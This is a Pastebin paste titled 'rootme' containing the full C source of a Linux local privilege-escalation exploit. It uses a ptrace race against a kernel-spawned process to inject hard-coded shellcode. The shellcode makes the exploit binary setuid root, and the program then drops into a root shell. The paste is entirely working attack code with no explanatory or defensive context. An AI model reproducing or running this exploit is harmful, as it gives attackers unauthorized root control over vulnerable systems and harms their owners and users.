aekaek

rootme

Jan 15th, 2018
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.46 KB | None | 0 0
  1. #include <grp.h>
  2. #include <stdio.h>
  3. #include <fcntl.h>
  4. #include <errno.h>
  5. #include <paths.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <signal.h>
  9. #include <unistd.h>
  10. #include <sys/wait.h>
  11. #include <sys/stat.h>
  12. #include <sys/param.h>
  13. #include <sys/types.h>
  14. #include <sys/ptrace.h>
  15. #include <sys/socket.h>
  16. #include <linux/user.h>
  17.  
  18. char cliphcode[] =
  19. "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  20. "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  21. "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  22. "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  23. "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
  24.  
  25. #define CODE_SIZE (sizeof(cliphcode) - 1)
  26.  
  27. pid_t parent = 1;
  28. pid_t child = 1;
  29. pid_t victim = 1;
  30. volatile int gotchild = 0;
  31.  
  32. void fatal(char * msg)
  33. {
  34. perror(msg);
  35. kill(parent, SIGKILL);
  36. kill(child, SIGKILL);
  37. kill(victim, SIGKILL);
  38. }
  39.  
  40. void putcode(unsigned long * dst)
  41. {
  42. char buf[MAXPATHLEN + CODE_SIZE];
  43. unsigned long * src;
  44. int i, len;
  45.  
  46. memcpy(buf, cliphcode, CODE_SIZE);
  47. len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  48. if (len == -1)
  49. fatal("[-] Unable to read /proc/self/exe");
  50.  
  51. len += CODE_SIZE + 1;
  52. buf[len] = '\0';
  53.  
  54. src = (unsigned long*) buf;
  55. for (i = 0; i < len; i += 4)
  56. if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
  57. fatal("[-] Unable to write shellcode");
  58. }
  59.  
  60. void sigchld(int signo)
  61. {
  62. struct user_regs_struct regs;
  63.  
  64. if (gotchild++ == 0)
  65. return;
  66.  
  67. fprintf(stderr, "[+] Signal caught\n");
  68.  
  69. if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
  70. fatal("[-] Unable to read registers");
  71.  
  72. fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  73.  
  74. putcode((unsigned long *)regs.eip);
  75.  
  76. fprintf(stderr, "[+] Now wait for suid shell...\n");
  77.  
  78. if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  79. fatal("[-] Unable to detach from victim");
  80.  
  81. exit(0);
  82. }
  83.  
  84. void sigalrm(int signo)
  85. {
  86. errno = ECANCELED;
  87. fatal("[-] Fatal error");
  88. }
  89.  
  90. void do_child(void)
  91. {
  92. int err;
  93.  
  94. child = getpid();
  95. victim = child + 1;
  96.  
  97. signal(SIGCHLD, sigchld);
  98.  
  99. do
  100. err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  101. while (err == -1 && errno == ESRCH);
  102.  
  103. if (err == -1)
  104. fatal("[-] Unable to attach");
  105.  
  106. fprintf(stderr, "[+] Attached to %d\n", victim);
  107. while (!gotchild) ;
  108. if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  109. fatal("[-] Unable to setup syscall trace");
  110. fprintf(stderr, "[+] Waiting for signal\n");
  111.  
  112. for(;;);
  113. }
  114.  
  115. void do_parent(char * progname)
  116. {
  117. struct stat st;
  118. int err;
  119. errno = 0;
  120. socket(AF_SECURITY, SOCK_STREAM, 1);
  121. do {
  122. err = stat(progname, &st);
  123. } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  124.  
  125. if (err == -1)
  126. fatal("[-] Unable to stat myself");
  127.  
  128. alarm(0);
  129. system(progname);
  130. }
  131.  
  132. void prepare(void)
  133. {
  134. if (geteuid() == 0) {
  135. initgroups("root", 0);
  136. setgid(0);
  137. setuid(0);
  138. execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  139. fatal("[-] Unable to spawn shell");
  140. }
  141. }
  142.  
  143. int main(int argc, char ** argv)
  144. {
  145. prepare();
  146. signal(SIGALRM, sigalrm);
  147. alarm(10);
  148.  
  149. parent = getpid();
  150. child = fork();
  151. victim = child + 1;
  152.  
  153. if (child == -1)
  154. fatal("[-] Unable to fork");
  155.  
  156. if (child == 0)
  157. do_child();
  158. else
  159. do_parent(argv[0]);
  160.  
  161. return 0;
  162. }
Add Comment
Please, Sign In to add comment